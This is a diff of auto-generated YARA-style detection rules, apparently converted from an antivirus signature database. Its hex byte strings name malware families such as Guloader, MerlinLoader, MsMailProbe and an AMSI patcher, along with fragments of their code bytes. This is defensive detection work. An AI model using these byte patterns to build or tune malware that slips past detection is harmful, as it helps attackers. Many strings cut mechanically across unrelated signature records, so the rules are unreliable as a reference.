_InfrastructureShared_8541{ +rule _InfrastructureShared_9057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90889,7 +96455,7 @@ rule _InfrastructureShared_8541{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8542{ +rule _InfrastructureShared_9058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90899,7 +96465,7 @@ rule _InfrastructureShared_8542{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_8543{ +rule _InfrastructureShared_9059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -90910,7 +96476,7 @@ rule _InfrastructureShared_8543{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26706) >=1 } -rule _InfrastructureShared_8544{ +rule _InfrastructureShared_9060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -90921,7 +96487,7 @@ rule _InfrastructureShared_8544{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-12052) >=1 } -rule _InfrastructureShared_8545{ +rule _InfrastructureShared_9061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -90933,7 +96499,7 @@ rule _InfrastructureShared_8545{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28015+(#a_8b_2 & 1)*22786) >=1 } -rule _InfrastructureShared_8546{ +rule _InfrastructureShared_9062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -90945,7 +96511,7 @@ rule _InfrastructureShared_8546{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*400+(#a_00_2 & 1)*29954) >=1 } -rule _InfrastructureShared_8547{ +rule _InfrastructureShared_9063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -90956,7 +96522,7 @@ rule _InfrastructureShared_8547{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*17606) >=1 } -rule _InfrastructureShared_8548{ +rule _InfrastructureShared_9064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -90969,7 +96535,7 @@ rule _InfrastructureShared_8548{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*-28667+(#a_00_2 & 1)*144+(#a_30_3 & 1)*-31997) >=1 } -rule _InfrastructureShared_8549{ +rule _InfrastructureShared_9065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -90981,7 +96547,7 @@ rule _InfrastructureShared_8549{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*45+(#a_6c_3 & 1)*257) >=1 } -rule _InfrastructureShared_8550{ +rule _InfrastructureShared_9066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -90994,7 +96560,7 @@ rule _InfrastructureShared_8550{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*9284+(#a_00_2 & 1)*400+(#a_11_3 & 1)*-8694) >=1 } -rule _InfrastructureShared_8551{ +rule _InfrastructureShared_9067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -91004,7 +96570,7 @@ rule _InfrastructureShared_8551{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8552{ +rule _InfrastructureShared_9068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -91014,7 +96580,7 @@ rule _InfrastructureShared_8552{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8553{ +rule _InfrastructureShared_9069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -91025,7 +96591,7 @@ rule _InfrastructureShared_8553{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1) >=2 } -rule _InfrastructureShared_8554{ +rule _InfrastructureShared_9070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -91036,7 +96602,7 @@ rule _InfrastructureShared_8554{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-6140) >=2 } -rule _InfrastructureShared_8555{ +rule _InfrastructureShared_9071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -91047,7 +96613,7 @@ rule _InfrastructureShared_8555{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*27074) >=2 } -rule _InfrastructureShared_8556{ +rule _InfrastructureShared_9072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -91059,7 +96625,7 @@ rule _InfrastructureShared_8556{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8557+(#a_65_2 & 1)*28673) >=2 } -rule _InfrastructureShared_8557{ +rule _InfrastructureShared_9073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -91071,42 +96637,31 @@ rule _InfrastructureShared_8557{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28001+(#a_00_2 & 1)*38) >=2 } -rule _InfrastructureShared_8558{ +rule _InfrastructureShared_9074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 50 63 4d 61 78 2e 42 00 01 00 0a 01 5c 70 63 72 65 67 2e 70 64 62 01 00 24 01 26 00 70 00 72 00 6f 00 64 00 3d 00 70 00 63 00 72 00 65 00 67 00 26 00 75 00 69 00 64 00 3d 00 25 00 73 00 01 00 2c 01 70 00 63 00 6d 00 61 00 78 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 69 00 6e 00 20 00 4f 00 6e 00 53 00 } //19491 $a_00_1 = {70 00 00 00 78 83 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 73 4d 61 69 6c 50 72 6f 62 65 2e 41 00 01 00 0d 01 4d 53 4d 61 69 6c 50 72 6f 62 65 20 76 01 00 0d 01 2e 2f 6d 73 6d 61 69 6c 70 72 6f 62 65 01 00 32 01 46 6c 61 67 20 74 6f 20 73 70 65 63 69 66 79 20 61 6e 20 4f 6e 2d 50 72 } //116 - $a_73_2 = {20 69 6e 73 74 61 6e 63 65 20 6f 66 20 45 78 63 68 61 6e 67 65 00 00 78 83 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4e 4d 21 4d 54 42 00 02 00 28 03 48 83 7c 24 90 01 01 00 49 0f 44 d6 4c 8d 44 24 90 01 01 4c 8d 7c 24 90 01 01 4c 89 f9 e8 21 f3 ff ff 4c 8d } //28005 + $a_73_2 = {20 69 6e 73 74 61 6e 63 65 20 6f 66 20 45 78 63 68 61 6e 67 65 00 00 78 83 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 72 6c 69 6e 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 15 43 0f b6 4c 35 90 01 01 32 0c 1a ff c7 83 fe 14 41 0f 4d f8 90 00 01 00 25 43 41 88 8c } //28005 condition: ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*116+(#a_73_2 & 1)*28005) >=2 } -rule _InfrastructureShared_8559{ +rule _InfrastructureShared_9075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_4c_0 = {48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 73 4d 61 69 6c 50 72 6f 62 65 2e 41 00 01 00 0d 01 4d 53 4d 61 69 6c 50 72 6f 62 65 20 76 01 00 0d 01 2e 2f 6d 73 6d 61 69 6c 70 72 6f 62 65 01 00 32 01 46 6c } //21539 $a_74_1 = {20 73 70 65 63 69 66 79 20 61 6e 20 4f 6e 2d 50 72 65 6d 69 73 65 20 69 6e 73 74 61 6e 63 65 20 } //26465 specify an On-Premise instance - $a_45_2 = {63 68 61 6e 67 65 00 00 78 83 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //26223 + $a_45_2 = {63 68 61 6e 67 65 00 00 78 83 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 } //26223 condition: ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*26465+(#a_45_2 & 1)*26223) >=2 } -rule _InfrastructureShared_8560{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4e 4d 21 4d 54 42 00 02 00 28 03 48 83 7c 24 90 01 01 00 49 0f 44 d6 4c 8d 44 24 90 01 01 4c 8d 7c 24 90 01 01 4c 89 f9 e8 21 f3 ff ff 4c 8d a4 24 90 00 01 00 2b 03 48 89 } //16675 - $a_81_1 = {01 01 00 00 00 88 91 90 01 01 00 00 00 48 8d 0d 67 01 00 00 48 63 04 81 48 01 c8 ff e0 0f b6 c2 ff c8 90 00 00 00 78 83 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 72 6c 69 6e 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 15 43 0f b6 4c 35 90 01 01 32 0c 1a ff c7 83 fe 14 41 0f 4d f8 90 00 01 00 25 43 41 88 8c 19 90 01 04 48 63 cf ff c7 0f b6 44 0d 90 01 01 32 44 1a 90 01 01 41 88 84 19 90 01 04 83 f9 14 90 00 01 00 0d 41 41 0f 4d f8 48 83 c3 02 48 83 fb 24 75 00 00 78 83 00 00 03 00 03 00 03 } //4046 - condition: - ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*4046) >=3 - -} -rule _InfrastructureShared_8561{ +rule _InfrastructureShared_9076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91118,7 +96673,7 @@ rule _InfrastructureShared_8561{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*17590+(#a_14_2 & 1)*-31996) >=3 } -rule _InfrastructureShared_8562{ +rule _InfrastructureShared_9077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91130,7 +96685,7 @@ rule _InfrastructureShared_8562{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*30575+(#a_01_2 & 1)*-28636) >=3 } -rule _InfrastructureShared_8563{ +rule _InfrastructureShared_9078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91142,7 +96697,7 @@ rule _InfrastructureShared_8563{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-256+(#a_72_2 & 1)*28252) >=3 } -rule _InfrastructureShared_8564{ +rule _InfrastructureShared_9079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91154,7 +96709,7 @@ rule _InfrastructureShared_8564{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27759+(#a_69_2 & 1)*28494) >=3 } -rule _InfrastructureShared_8565{ +rule _InfrastructureShared_9080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91166,7 +96721,7 @@ rule _InfrastructureShared_8565{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26691+(#a_67_2 & 1)*29296) >=3 } -rule _InfrastructureShared_8566{ +rule _InfrastructureShared_9081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91178,7 +96733,7 @@ rule _InfrastructureShared_8566{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25709+(#a_33_2 & 1)*12639) >=3 } -rule _InfrastructureShared_8567{ +rule _InfrastructureShared_9082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91190,7 +96745,7 @@ rule _InfrastructureShared_8567{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27503+(#a_51_2 & 1)*4) >=3 } -rule _InfrastructureShared_8568{ +rule _InfrastructureShared_9083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91202,7 +96757,7 @@ rule _InfrastructureShared_8568{ ((#a_46_0 & 1)*16675+(#a_dc_1 & 1)*16641+(#a_40_2 & 1)*16643) >=3 } -rule _InfrastructureShared_8569{ +rule _InfrastructureShared_9084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91214,7 +96769,7 @@ rule _InfrastructureShared_8569{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*7936+(#a_00_2 & 1)*16640) >=3 } -rule _InfrastructureShared_8570{ +rule _InfrastructureShared_9085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91226,7 +96781,7 @@ rule _InfrastructureShared_8570{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28516+(#a_6b_2 & 1)*8295) >=3 } -rule _InfrastructureShared_8571{ +rule _InfrastructureShared_9086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91238,31 +96793,43 @@ rule _InfrastructureShared_8571{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28261+(#a_64_2 & 1)*29557) >=3 } -rule _InfrastructureShared_8572{ +rule _InfrastructureShared_9087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 47 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 6f 63 6b 6c 69 6b 65 01 00 1f 81 01 67 72 69 62 65 72 73 20 68 79 70 65 72 73 75 73 70 69 63 69 6f 75 73 20 64 65 6e 6f 74 65 72 01 00 22 81 01 } //18467 $a_75_1 = {6f 75 73 65 73 20 73 6c 75 67 68 61 6c 73 65 6e 73 20 65 6e 74 65 72 70 72 69 73 65 73 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4c 31 32 33 21 4d 54 42 00 01 00 17 81 01 66 65 6c 69 63 69 61 73 20 62 6a 65 72 67 70 72 64 69 6b 65 6e 65 6e 01 00 08 81 01 64 72 75 } //28001 - $a_72_2 = {01 00 2b 81 01 67 75 6c 64 73 74 6a 65 72 6e 65 72 6e 65 73 20 70 65 74 74 69 6e 67 20 69 6e 64 68 6f 6c 64 73 61 6e 61 6c 79 73 65 72 6e 65 73 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 54 65 63 68 73 6e 61 62 00 01 00 1c 01 63 3a 5c 72 65 70 6f 5c 68 6f 63 75 73 70 6f } //27502 + $a_72_2 = {01 00 2b 81 01 67 75 6c 64 73 74 6a 65 72 6e 65 72 6e 65 73 20 70 65 74 74 69 6e 67 20 69 6e 64 68 6f 6c 64 73 61 6e 61 6c 79 73 65 72 6e 65 73 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 42 31 31 21 4d 54 42 00 01 00 1a 81 01 69 64 65 61 } //27502 condition: ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28001+(#a_72_2 & 1)*27502) >=3 } -rule _InfrastructureShared_8573{ +rule _InfrastructureShared_9088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4c 31 32 33 21 4d 54 42 00 01 00 17 81 01 66 65 6c 69 63 69 61 73 20 62 6a 65 72 67 70 72 64 69 6b 65 6e 65 6e 01 00 08 81 01 64 72 75 6e 6b 65 72 79 01 00 2b 81 01 67 75 6c 64 73 74 6a 65 72 } //18467 - $a_6e_1 = {73 20 70 65 74 74 69 6e 67 20 69 6e 64 68 6f 6c 64 73 61 6e 61 6c 79 73 65 72 6e 65 73 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 54 65 63 68 73 6e 61 62 00 01 00 1c 01 63 3a 5c 72 65 70 6f 5c 68 6f 63 75 73 70 6f 63 75 73 5c 64 65 62 75 67 2e 6c 6f 67 01 00 0d 01 69 6e 6a 65 63 74 64 6c 6c 2e 63 70 70 01 00 } //25966 - $a_25_2 = {34 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 7b 25 75 7d 28 25 73 3a 25 64 29 28 25 73 29 00 00 03 00 78 83 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 41 6d 73 69 70 61 74 63 68 2e 41 31 21 4d 54 42 00 01 00 06 00 81 } //302 + $a_6e_1 = {73 20 70 65 74 74 69 6e 67 20 69 6e 64 68 6f 6c 64 73 61 6e 61 6c 79 73 65 72 6e 65 73 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 42 31 31 21 4d 54 42 00 01 00 1a 81 01 69 64 65 61 6c 69 73 6d 65 73 20 73 6b 72 6d 74 65 72 6d 69 6e 61 6c 65 72 73 01 00 20 81 01 6c 6f 76 70 72 } //25966 + $a_69_2 = {67 65 72 20 73 6b 79 74 74 65 6c 20 64 6b 76 69 6e 67 65 72 6e 65 01 00 12 81 01 73 6b 72 79 64 65 20 63 72 79 70 74 65 64 2e 65 78 65 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 54 65 63 68 73 6e 61 62 00 01 00 1c 01 63 3a 5c 72 65 70 6f 5c 68 6f 63 75 73 70 6f 63 75 73 5c 64 65 62 75 67 2e 6c 6f } //29545 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25966+(#a_25_2 & 1)*302) >=3 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25966+(#a_69_2 & 1)*29545) >=3 } -rule _InfrastructureShared_8574{ +rule _InfrastructureShared_9089{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 42 31 31 21 4d 54 42 00 01 00 1a 81 01 69 64 65 61 6c 69 73 6d 65 73 20 73 6b 72 6d 74 65 72 6d 69 6e 61 6c 65 72 73 01 00 20 81 01 6c 6f 76 70 72 69 73 6e 69 6e 67 65 72 20 73 6b 79 74 74 65 6c } //18467 + $a_76_1 = {6e 67 65 72 6e 65 01 00 12 81 01 73 6b 72 79 64 65 20 63 72 79 70 74 65 64 2e 65 78 65 00 00 78 83 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 54 65 63 68 73 6e 61 62 00 01 00 1c 01 63 3a 5c 72 65 70 6f 5c 68 6f 63 75 73 70 6f 63 75 73 5c 64 65 62 75 67 2e 6c 6f 67 01 00 0d 01 69 6e 6a 65 63 74 64 6c } //25632 + $a_70_2 = {01 00 2e 01 5b 25 30 34 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 7b 25 75 7d 28 25 73 3a 25 64 29 28 25 73 29 00 00 03 00 78 83 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 41 6d 73 69 70 61 74 63 68 2e 41 31 21 4d 54 42 00 01 00 06 00 81 3b } //11884 + condition: + ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*25632+(#a_70_2 & 1)*11884) >=3 + +} +rule _InfrastructureShared_9090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91274,7 +96841,7 @@ rule _InfrastructureShared_8574{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*8292+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_8575{ +rule _InfrastructureShared_9091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91286,7 +96853,7 @@ rule _InfrastructureShared_8575{ ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*12324+(#a_72_2 & 1)*29300) >=3 } -rule _InfrastructureShared_8576{ +rule _InfrastructureShared_9092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -91298,7 +96865,7 @@ rule _InfrastructureShared_8576{ ((#a_5f_0 & 1)*25635+(#a_30_1 & 1)*8736+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8577{ +rule _InfrastructureShared_9093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -91311,7 +96878,7 @@ rule _InfrastructureShared_8577{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*273+(#a_00_2 & 1)*49+(#a_06_3 & 1)*-31997) >=3 } -rule _InfrastructureShared_8578{ +rule _InfrastructureShared_9094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -91324,7 +96891,7 @@ rule _InfrastructureShared_8578{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*11873+(#a_01_2 & 1)*14385+(#a_5c_3 & 1)*269) >=3 } -rule _InfrastructureShared_8579{ +rule _InfrastructureShared_9095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -91338,7 +96905,7 @@ rule _InfrastructureShared_8579{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*25968+(#a_73_2 & 1)*28516+(#a_74_3 & 1)*26719+(#a_6e_4 & 1)*26433) >=3 } -rule _InfrastructureShared_8580{ +rule _InfrastructureShared_9096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -91353,7 +96920,7 @@ rule _InfrastructureShared_8580{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*384+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1+(#a_83_5 & 1)*0+(#a_48_6 & 1)*28530) >=3 } -rule _InfrastructureShared_8581{ +rule _InfrastructureShared_9097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91366,7 +96933,7 @@ rule _InfrastructureShared_8581{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_83_3 & 1)*0) >=4 } -rule _InfrastructureShared_8582{ +rule _InfrastructureShared_9098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91378,7 +96945,7 @@ rule _InfrastructureShared_8582{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28257+(#a_8b_2 & 1)*17667) >=4 } -rule _InfrastructureShared_8583{ +rule _InfrastructureShared_9099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91391,7 +96958,7 @@ rule _InfrastructureShared_8583{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25972+(#a_00_2 & 1)*84+(#a_32_3 & 1)*28265) >=4 } -rule _InfrastructureShared_8584{ +rule _InfrastructureShared_9100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91404,7 +96971,7 @@ rule _InfrastructureShared_8584{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*268+(#a_6c_2 & 1)*25704+(#a_44_3 & 1)*29810) >=4 } -rule _InfrastructureShared_8585{ +rule _InfrastructureShared_9101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91417,20 +96984,46 @@ rule _InfrastructureShared_8585{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28636+(#a_f3_2 & 1)*656+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_8586{ +rule _InfrastructureShared_9102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 45 78 63 6c 75 73 69 6f 6e 4e 69 76 64 6f 72 74 2e 44 45 00 01 00 18 01 74 73 64 76 63 74 65 73 74 73 65 72 76 69 63 65 2e 70 72 6f 67 72 61 6d 01 00 14 01 74 73 64 76 63 74 65 73 74 73 65 72 76 69 63 65 2e 70 64 62 01 00 0f 01 6e 65 67 6c 69 73 74 65 6e 65 72 2e 63 70 70 01 00 10 01 64 6f 74 65 73 74 20 } //16675 - $a_63_1 = {65 64 65 64 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 48 31 32 33 21 4d 54 42 00 01 00 07 81 01 63 75 72 64 6c 65 72 01 00 0e 81 01 68 69 67 68 70 61 73 73 66 69 6c 74 65 72 01 00 18 81 01 73 74 75 64 65 72 65 6b 61 6d 6d 65 72 } //30067 - $a_6e_2 = {73 6b 65 72 6e 65 01 00 18 81 01 6f 76 65 72 79 65 61 72 20 72 61 61 67 65 6e 73 20 73 6d 79 6b 6b 65 74 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 4c 31 32 33 21 4d 54 42 00 01 00 17 81 01 44 61 72 64 65 6e 20 52 65 73 74 61 75 72 61 6e 74 73 20 49 6e 63 2e 01 } //25965 - $a_01_3 = {41 65 74 6e 61 20 49 6e 63 2e 01 00 0e 81 01 61 66 62 6c 6e 64 69 6e 67 73 2e 65 78 65 01 00 16 81 01 53 63 69 65 6e 74 69 66 69 63 2d 41 74 6c 61 6e 74 61 20 49 6e 63 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 52 4c 31 32 33 21 4d 54 42 00 01 00 1d 81 01 73 65 72 76 69 63 65 73 74 61 74 69 6f 6e 65 72 6e 65 20 71 75 65 } //2560 + $a_63_1 = {65 64 65 64 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 55 21 4d 54 42 00 01 00 0a 81 01 73 69 6d 70 6c 65 78 69 74 79 01 00 1e 81 01 68 75 72 74 6c 69 6e 67 6c 79 20 65 72 67 6f 6d 65 74 65 72 63 79 6b 6c 65 6e } //30067 + $a_65_2 = {00 13 81 01 70 6f 6c 79 70 68 61 73 61 6c 20 73 6e 6f 74 6e 73 65 74 01 00 07 81 01 63 75 62 61 6e 65 72 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4d 30 31 21 4d 54 42 00 01 00 0c 81 01 6c 69 6e 69 65 76 6f 67 74 65 72 65 01 00 26 81 01 64 69 63 74 61 67 72 61 70 68 20 69 73 6c 61 6d 69 73 65 } //25902 + $a_67_3 = {64 69 73 70 72 6f 70 6f 72 74 69 6f 6e 73 01 00 0c 81 01 70 6c 6f 77 62 61 63 6b 2e 65 78 65 01 00 09 81 01 66 69 6c 6f 6c 6f 67 65 6e 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 48 31 32 33 21 4d 54 42 00 01 00 07 81 01 63 75 72 64 6c 65 72 01 00 0e 81 01 68 69 } //26994 condition: - ((#a_6c_0 & 1)*16675+(#a_63_1 & 1)*30067+(#a_6e_2 & 1)*25965+(#a_01_3 & 1)*2560) >=4 + ((#a_6c_0 & 1)*16675+(#a_63_1 & 1)*30067+(#a_65_2 & 1)*25902+(#a_67_3 & 1)*26994) >=4 } -rule _InfrastructureShared_8587{ +rule _InfrastructureShared_9103{ + meta: + description = 